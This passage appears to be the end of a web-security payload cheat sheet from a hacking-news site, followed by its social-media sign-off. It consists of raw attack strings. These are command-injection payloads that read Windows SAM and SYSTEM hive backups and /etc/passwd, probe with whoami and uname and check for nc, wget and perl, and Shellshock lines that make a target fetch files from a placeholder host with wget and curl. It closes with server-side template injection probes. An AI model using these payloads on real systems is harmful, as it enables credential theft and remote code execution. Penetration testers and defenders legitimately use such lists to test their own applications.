&&type C:\\boot.ini
| type C:\Windows\repair\SAM
; type C:\Windows\repair\SAM
& type C:\Windows\repair\SAM
&& type C:\Windows\repair\SAM
type C:\Windows\repair\SAM
| type C:\Windows\repair\SYSTEM
; type C:\Windows\repair\SYSTEM
& type C:\Windows\repair\SYSTEM
&& type C:\Windows\repair\SYSTEM
type C:\Windows\repair\SYSTEM
```

```
| type C:\WINNT\repair\SAM
; type C:\WINNT\repair\SAM
& type C:\WINNT\repair\SAM
&& type C:\WINNT\repair\SAM
type C:\WINNT\repair\SAM
type C:\WINNT\repair\SYSTEM
| type %SYSTEMROOT%\repair\SAM
; type %SYSTEMROOT%\repair\SAM
& type %SYSTEMROOT%\repair\SAM
&& type %SYSTEMROOT%\repair\SAM
type %SYSTEMROOT%\repair\SAM
| type %SYSTEMROOT%\repair\SYSTEM
; type %SYSTEMROOT%\repair\SYSTEM
& type %SYSTEMROOT%\repair\SYSTEM
&& type %SYSTEMROOT%\repair\SYSTEM
type %SYSTEMROOT%\repair\SYSTEM
uname
;uname;
| uname -a
; uname -a
& uname -a
&& uname -a
uname -a
|/usr/bin/id
;|/usr/bin/id|
;/usr/bin/id|
$;/usr/bin/id
() { :;};/usr/bin/perl -e 'print \"Content-Type:
text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://[Web
IP]/.testing/shellshock.txt?vuln=13;curl http://[Web
IP]/.testing/shellshock.txt?vuln=15;\");'
() { :;}; wget http://[Web IP]/.testing/shellshock.txt?vuln=11
| wget http://example.com/.testing/rce.txt
& wget http://example.com/.testing/rce.txt
; wget https://example.com/.testing/rce_vuln.txt
$(`wget https://example.com/.testing/rce_vuln.txt`)
&& wget https://example.com/.testing/rce_vuln.txt
wget https://example.com/.testing/rce_vuln.txt
$(`wget https://example.com/.testing/rce_vuln.txt?req=22jjffjbn`)
which curl
which gcc
which nc
which netcat
which perl
which python
which wget
whoami
| whoami
; whoami
' whoami
' || whoami
' & whoami
```

```
' && whoami
'; whoami
" whoami
" || whoami
" | whoami
" & whoami
" && whoami
"; whoami
$(`whoami`)
& whoami
&& whoami
{{ get_user_file("C:\boot.ini") }}
{{ get_user_file("/etc/hosts") }}
{{ get_user_file("/etc/passwd") }}
{{4+4}}
{{4+8}}
{{person.secret}}
{{person.name}}
{1} + {1}
{% For c in [1,2,3]%} {{c, c, c}} {% endfor%}
{{[] .__ Class __.__ base __.__ subclasses __ ()}}
```

Enjoy!

Reference- Owasp, Mitre, Portswigger, Github

For the latest update about Cyber and Infosec World, follow us on Twitter(https://twitter.com/HOCupdate), Facebook(https://www.facebook.com/HackersOnlineClub.Official), Telegram(https://t.me/hackersonlineclub) , Instagram(https://www.instagram.com/hocupdate) and subscribe to our YouTube Channel(https://www.youtube.com/channel/UCvn1a_IBRIWtdEHsofO1a6A).